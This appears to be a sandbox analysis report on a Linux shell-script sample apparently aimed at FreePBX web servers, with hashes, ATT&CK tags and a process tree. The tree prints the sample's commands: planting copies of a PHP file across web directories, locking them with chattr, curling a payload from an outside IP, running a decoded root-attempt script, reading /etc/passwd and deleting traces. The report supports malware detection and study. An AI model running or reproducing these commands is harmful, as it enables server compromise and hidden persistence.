feff82d9fc4d970d3e6622c77e912d0b40cd97dd262cc3218576bb7bf1860409

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
15/09/2026, 05:15

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General

Target
wr.php.sh
Size 26KB
Sample260915-fxpalsdf97
SHA256 feff82d9fc4d970d3e6622c77e912d0b40cd97dd262cc3218576bb7bf1860409
MD5 a88f1f474636cecef94bc2c8c7685249
SHA1 5decba516ef8565345086ce8c1db9ed02f4cb954
SHA512 8254d46d87fbc8d0f55a529d3214f88663ecb114cbe96316ac0b969af045188d4acc5cdfb1ccba213950dc2f6aceb415e4e0856e71e78dbe8b0fedd644f3d60c
SSDEEP 768:pE8vCB+25j6es8RZfW9FYpMSUpi+20qUpi+20YQX:pE8l25JZfAd2QX
TLSH
T14CC28D966A967C44BDC94A3E4CBD2B0D6DF5C3D1324942AC3D4B3C719C12FACD618B1A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1546	chmod
1547	chmod

Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1517	base64
1568	base64
1579	base64
1584	base64

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tryRoot1.sh	wr.php.sh

/tmp/wr.php.sh
/tmp/wr.php.sh
1⤵
- Writes file to tmp directory
PID:1515
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1517
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1519
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:1520
- /bin/mkdir
  mkdir -p /var/www/html/restiapps/
  2⤵
  - Reads runtime system information
  PID:1521
- /bin/mkdir
  mkdir -p /var/www/html/restiapp/
  2⤵
  - Reads runtime system information
  PID:1522
- /bin/mkdir
  mkdir -p /var/www/html/phones/
  2⤵
  - Reads runtime system information
  PID:1523
- /bin/mkdir
  mkdir -p /var/www/html/digiums/
  2⤵
  - Reads runtime system information
  PID:1524
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:1525
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:1526
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:1527
- /bin/mkdir
  mkdir -p /var/www/html/digium_phones/
  2⤵
  - Reads runtime system information
  PID:1528
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1529
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
  2⤵
  - Reads runtime system information
  PID:1530
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
  2⤵
  - Reads runtime system information
  PID:1531
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1532
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
  2⤵
  - Reads runtime system information
  PID:1533
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1534
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
  2⤵
  - Reads runtime system information
  PID:1535
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1536
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
  2⤵
  - Reads runtime system information
  PID:1537
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
  2⤵
  - Reads runtime system information
  PID:1538
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
  2⤵
  - Reads runtime system information
  PID:1539
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
  2⤵
  - Reads runtime system information
  PID:1542
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
  2⤵
  - Reads runtime system information
  PID:1543
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1544
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:1545
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /bin/chmod
  chmod +x /var/www/html/admin/views/some.php
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:1548
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:1549
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/some.php
  2⤵
  PID:1550
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/some.php
  2⤵
  PID:1551
- /usr/bin/chattr
  chattr +i /var/www/html/some.php
  2⤵
  PID:1552
- /usr/bin/chattr
  chattr +a /var/www/html/some.php
  2⤵
  PID:1553
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:1555
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:1557
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1560
- /bin/sh
  sh
  2⤵
  PID:1561
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1568
- /usr/bin/tee
  tee -a /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1569
- /bin/bash
  bash /tmp/tryRoot1.sh
  2⤵
  PID:1570
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1573
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1574
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1575
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:1576
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:1577
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1579
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:1580
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:1581
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1582
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1584
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1585
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1586
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1587
- /bin/bash
  bash /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1588
- /bin/rm
  rm -rf /tmp/tryRoot1.sh
  2⤵
  PID:1589
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1590
- /bin/sh
  sh
  2⤵
  PID:1592
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1591

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

tryRoot1.sh

Path /tmp/tryRoot1.sh
Size 11KB
SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
MD5 8cb7008cbeb1b579946d1c77139a2ea0
SHA1 eb9fc5af92b42ac9eb9efbb847cbd67284ed19ef
SHA512 d4932397a4ddc7ba9643ca82e1ae852b6a8afc2b15824f90afdf439509e60944a5c5608fd0e8a97ff3cd9c8bd4b48c76db8633e8f787d1e2256c9c6b9dcc94ab
SSDEEP 192:zroaKAtVgmuC13sihwiYPMUroaKAtVgmuC13sihwiYPM8roaKAtVgmuC13sihwi6:zro/AMC1cJlP9ro/AMC1cJlPHro/AMCq
TLSH
T1DF32C783066F3275E2063FAB5CFD1F9C7BEA8B4A34A2692529063D9445DDC0FD470A5C
MD5 SHA1 SHA512 SSDEEP TLSH

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